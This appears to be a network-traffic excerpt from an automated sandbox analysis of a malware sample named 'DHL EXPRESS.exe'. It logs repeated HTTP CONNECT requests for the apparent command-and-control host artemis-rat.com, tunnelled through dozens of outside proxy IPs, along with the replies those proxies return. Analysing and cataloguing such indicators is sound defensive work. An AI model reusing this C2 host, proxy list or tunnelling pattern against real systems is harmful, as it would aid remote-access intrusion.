Mar 11, 2024 18:36:52.769737959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.769159079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.768975973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.8	50443	104.238.111.107	53777	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.605362892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.768879890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.8	51121	51.158.108.134	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.605369091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.8	51170	104.19.247.62	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.605460882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.760162115 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.8	50344	190.90.22.106	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.605580091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.485436916 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.8	51096	45.11.95.165	6012	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.605696917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.8	51126	79.143.177.29	21972	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.606072903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.639090061 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.8	51045	91.107.180.250	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.606209993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.503248930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.499468088 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Mar 11, 2024 18:36:51.675451994 CET	342	IN	Data Raw: 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 31 37 3a Data Ascii: TTP/1.1 400 Bad RequestServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Mar 2024 17:36:48 GMTContent-Type: text/htmlContent-Length: 182Connection: close<html><head><title>400 Bad Request</title></head><body bgcolor="white"><cente

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.8	50194	103.159.66.61	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.606587887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.768980980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
389	192.168.2.8	51054	124.163.236.54	7302	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.607424021 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:47.041759014 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.8	51182	50.63.12.33	25492	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.607664108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.050048113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.706649065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.800343990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.845936060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.880079031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.909955025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.8	51118	45.11.95.166	6008	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.608890057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.315632105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.410224915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.460082054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.565485001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.8	51087	185.132.242.212	8083	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.609011889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.8	50354	136.244.99.51	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.609379053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.8	51129	152.32.130.117	18080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.609491110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.8	50437	184.178.172.3	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.609533072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.8	50320	212.31.100.138	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.609584093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.8	50481	107.180.95.177	63951	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.610682011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.677913904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.706763983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.706742048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.706492901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:22.706300020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:34.706459999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:58.709115982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:46.706470966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.8	51107	43.231.22.229	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.611579895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.8	51224	104.21.85.200	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.612140894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.767301083 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.8	51161	46.35.9.110	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.612206936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.8	50465	72.195.34.60	27391	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.613497019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.8	51137	92.247.2.26	21231	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.613739967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.708642006 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.8	51216	91.134.140.160	11946	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.614440918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.8	51156	94.154.221.91	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.621947050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.8	50357	103.234.28.211	8181	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.627104998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.851568937 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.8	51163	123.110.158.236	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.628010988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.300050974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.641886950 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.8	51193	72.195.114.169	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.637303114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.8	51246	172.64.152.98	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.641755104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
